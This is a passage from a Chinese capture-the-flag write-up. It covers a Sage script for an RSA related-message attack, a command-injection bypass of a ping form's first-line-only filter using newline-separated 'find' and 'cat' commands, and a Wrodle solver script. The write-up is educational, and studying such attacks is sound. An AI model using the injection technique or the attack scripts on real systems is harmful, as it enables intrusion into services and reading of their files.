class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span></span></p><p>的共根，即 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo>−</mo><msub><mi>m</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x-m_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 為 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>f</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo separator="true">,</mo><msub><mi>f</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f_1(x), f_2(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 的公因式，於是我們可以使用輾轉相除法求出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">m_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p><pre class="line-numbers language-python" data-language="python"><div class="caption"><span>solve.sage</span></div><code class="language-python"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>PublicKey <span class="token keyword">import</span> RSA<span class="token keyword">import</span> json<span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'public.pem'</span><span class="token punctuation">,</span> <span class="token string">'r'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>    key <span class="token operator">=</span> RSA<span class="token punctuation">.</span>importKey<span class="token punctuation">(</span>f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    n <span class="token operator">=</span> key<span class="token punctuation">.</span>n    e <span class="token operator">=</span> key<span class="token punctuation">.</span>e<span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'ciphertexts.json'</span><span class="token punctuation">,</span> <span class="token string">'r'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>    data <span class="token operator">=</span> json<span class="token punctuation">.</span>load<span class="token punctuation">(</span>f<span class="token punctuation">)</span>    c1 <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>data<span class="token punctuation">[</span><span class="token string">'c1'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    c2 <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>data<span class="token punctuation">[</span><span class="token string">'c2'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    a <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>data<span class="token punctuation">[</span><span class="token string">'a'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    b <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>data<span class="token punctuation">[</span><span class="token string">'b'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>R<span class="token punctuation">.</span><span class="token operator">&lt;</span>x<span class="token operator">></span> <span class="token operator">=</span> PolynomialRing<span class="token punctuation">(</span>Zmod<span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">)</span>g1 <span class="token operator">=</span> x<span class="token operator">^</span>e <span class="token operator">-</span> c1g2 <span class="token operator">=</span> <span class="token punctuation">(</span>a<span class="token operator">*</span>x <span class="token operator">+</span> b<span class="token punctuation">)</span><span class="token operator">^</span>e <span class="token operator">-</span> c2<span class="token keyword">def</span> <span class="token function">gcd_monic</span><span class="token punctuation">(</span>f1<span class="token punctuation">,</span> f2<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> f2 <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> f1<span class="token punctuation">.</span>monic<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">else</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> gcd_monic<span class="token punctuation">(</span>f2<span class="token punctuation">,</span> f1 <span class="token operator">%</span> f2<span class="token punctuation">)</span>result <span class="token operator">=</span> gcd_monic<span class="token punctuation">(</span>g1<span class="token punctuation">,</span> g2<span class="token punctuation">)</span>m1 <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span><span class="token operator">-</span>result<span class="token punctuation">.</span>coefficients<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token builtin">bytes</span><span class="token punctuation">.</span>fromhex<span class="token punctuation">(</span><span class="token builtin">hex</span><span class="token punctuation">(</span>m1<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="web" tabindex="-1">Web</h1><h2 id="pulse" tabindex="-1" id="Pulse">Pulse</h2><p>一個網站，輸入網址會幫你 <code>ping</code> 他，可以輸入多行。<br>稍微測試一下發現有擋 <code>;</code>、<code>|</code>、<code>&amp;</code> 等字元，但僅限第一行。因此我們可以在第一行就輸入一個 <code>-</code> 跳掉，然後從第二行 Command Injection</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">-<span class="token function">find</span> / <span class="token parameter variable">-name</span> <span class="token string">"flag.txt"</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>然後</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">-<span class="token function">cat</span> /opt/diagnostics/jobs/e3182e71-d5da-41e9-8b4a-5ef53c36d135/flag.txt<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>然後即可拿到 Flag。</p><h2 id="wrodle" tabindex="-1" id="Wrodle">Wrodle</h2><p>網站是一個 Wrodle 遊戲，要過 50 關，每關有 6 次嘗試機會，同時有生命值是失敗時會扣，扣完遊戲就會重來。當 PPC 打叫 Gemini 跟 Claude 幫我寫個 Script</p><blockquote><p>Gemini 生成的版本是直接用現成字庫去找，但由於字庫裡面可能亦有遺漏，所以我轉而叫 Claude 幫我改成字庫找不到時開始根據已知條件隨機自己生成單字<br>同時因為我們的字庫可能包含太多單字，是題目的伺服器沒收錄的，一直反覆送出他們會花太多時間，所以在得到 <code>not in word list</code> 時把我們自己這邊的字庫中該單字刪掉</p></blockquote><p>都解完會得到</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>hint<span class="token operator">:</span> <span class="token string">"This doesn't look like a flag... maybe it's not letters, but directions to them."</span><span class="token punctuation">,</span> coordinates<span class="token operator">:</span> '<span class="token number">035</span> <span class="token number">083</span> <span class="token number">145</span> <span class="token number">193</span> <span class="token number">233</span> <span class="token number">313</span> <span class="token number">364</span> <span class="token number">422</span> <span class="token number">472</span> <span class="token number">501</span>'<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>猜測那串編號代表第幾個單字的第幾個字母，如 <code>233</code> 代表第 23 關單字的第 3 個字母。</p><p>Claude 給的腳本：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">autoSolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"正在載入 1.2 萬字完整大字庫（包含所有允許猜測的生僻字）..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> baseList <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> wordlistUrl <span class="token operator">=</span> <span class="token string">'https://raw.githubusercontent.com/tabatkins/wordle-list/refs/heads/main/words'</span><span class="token punctuation">;</span>  <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> res <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">fetch</span><span class="token punctuation">(</span>wordlistUrl<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>res<span class="token punctuation">.</span>ok<span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">HTTP </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>res<span class="token punctuation">.</span>status<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> text <span class="token operator">=</span> <span class="token keyword">await</span> res<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    baseList <span class="token operator">=</span> text<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">)</span>      <span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token parameter">w</span> <span class="token operator">=></span> w<span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[^a-z]</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">)</span>      <span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token parameter">w</span> <span class="token operator">=></span> w<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">【字庫載入成功】共計 </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>baseList<span class="token punctuation">.</span>length<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> 個單字！</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"字庫下載失敗，請手動確認網路。"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// ============================================================</span>  <span class="token comment">// 核心修正：獨立的「約束狀態」物件，跟字典完全脫鉤</span>  <span class="token comment">// 不管字典有沒有查到候選字，這個狀態都會忠實記錄所有已知線索</span>  <span class="token comment">// ============================================================</span>  <span class="token keyword">function</span> <span class="token function">createEmptyConstraints</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">exactMatches</span><span class="token operator">:</span> <span class="token function">Array</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">fill</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">,</span>           <span class="token comment">// 每個位置確定的字母 (correct)</span>      <span class="token literal-property property">excludedAt</span><span class="token operator">:</span> <span class="token function">Array</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">fill</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">// 每個位置「已知不可能是這個字母」的集合</span>      <span class="token literal-property property">minCounts</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>   <span class="token comment">// 每個字母「至少」出現次數（取歷史所有輪次的最大值）</span>      <span class="token literal-property property">maxCounts</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>   <span class="token comment">// 每個字母「最多」出現次數（一旦某輪出現 absent，鎖定上限）</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 每一輪 feedback 進來後，用「疊加」的方式更新約束，而不是覆蓋</span>  <span class="token keyword">function</span> <span class="token function">updateConstraints</span><span class="token punctuation">(</span><span class="token parameter">constraints<span class="token punctuation">,</span> guess<span class="token punctuation">,</span> feedback</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> roundCount <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span> <span class="token comment">// 這一輪猜測中，每個字母被標記 correct/present 的次數</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> char <span class="token operator">=</span> guess<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">const</span> status <span class="token operator">=</span> feedback<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>status <span class="token operator">===</span> <span class="token string">'correct'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> char<span class="token punctuation">;</span>        roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>status <span class="token operator">===</span> <span class="token string">'present'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        constraints<span class="token punctuation">.</span>excludedAt<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>char<span class="token punctuation">)</span><span class="token punctuation">;</span>        roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> char <span class="token operator">=</span> guess<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">const</span> status <span class="token operator">=</span> feedback<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>status <span class="token operator">===</span> <span class="token string">'absent'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        constraints<span class="token punctuation">.</span>excludedAt<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>char<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 這個字母在這輪的「已確認次數」就是它的總數上限</span>        <span class="token keyword">const</span> cap <span class="token operator">=</span> roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">;</span>        constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">=</span> constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token keyword">undefined</span>          <span class="token operator">?</span> cap          <span class="token operator">:</span> Math<span class="token punctuation">.</span><span class="token function">min</span><span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span><span class="token punctuation">,</span> cap<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> char <span class="token keyword">in</span> roundCount<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">,</span> roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">function</span> <span class="token function">matchesConstraints</span><span class="token punctuation">(</span><span class="token parameter">word<span class="token punctuation">,</span> constraints</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">&amp;&amp;</span> word<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">!==</span> constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>excludedAt<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>word<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">let</span> wordCounts <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> char <span class="token keyword">of</span> word<span class="token punctuation">)</span> wordCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>wordCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> char <span class="token keyword">in</span> constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>wordCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> char <span class="token keyword">in</span> constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>wordCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">></span> constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// ============================================================</span>  <span class="token comment">// Fallback：當字典完全查無候選字時，直接對 26 字母做約束式 DFS 窮舉</span>  <span class="token comment">// 不依賴任何外部字典，純粹用邏輯推導出所有「理論上合法」的字串</span>  <span class="token comment">// ============================================================</span>  <span class="token keyword">function</span> <span class="token function">bruteForceGenerate</span><span class="token punctuation">(</span><span class="token parameter">constraints<span class="token punctuation">,</span> limit <span class="token operator">=</span> <span class="token number">3000</span></span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> letters <span class="token operator">=</span> <span class="token string">'abcdefghijklmnopqrstuvwxyz'</span><span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> results <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token comment">// 先為每個位置算出「候選字母集合」，減少 DFS 分支</span>    <span class="token keyword">let</span> allowedAt <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        allowedAt<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token punctuation">[</span>constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">const</span> allowed <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token parameter">ch</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>excludedAt<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token comment">// 完全不存在這個字母</span>          <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        allowedAt<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>allowed<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">function</span> <span class="token function">dfs</span><span class="token punctuation">(</span><span class="token parameter">pos<span class="token punctuation">,</span> chars<span class="token punctuation">,</span> counts</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>results<span class="token punctuation">.</span>length <span class="token operator">>=</span> limit<span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>pos <span class="token operator">===</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> ch <span class="token keyword">in</span> constraints<span 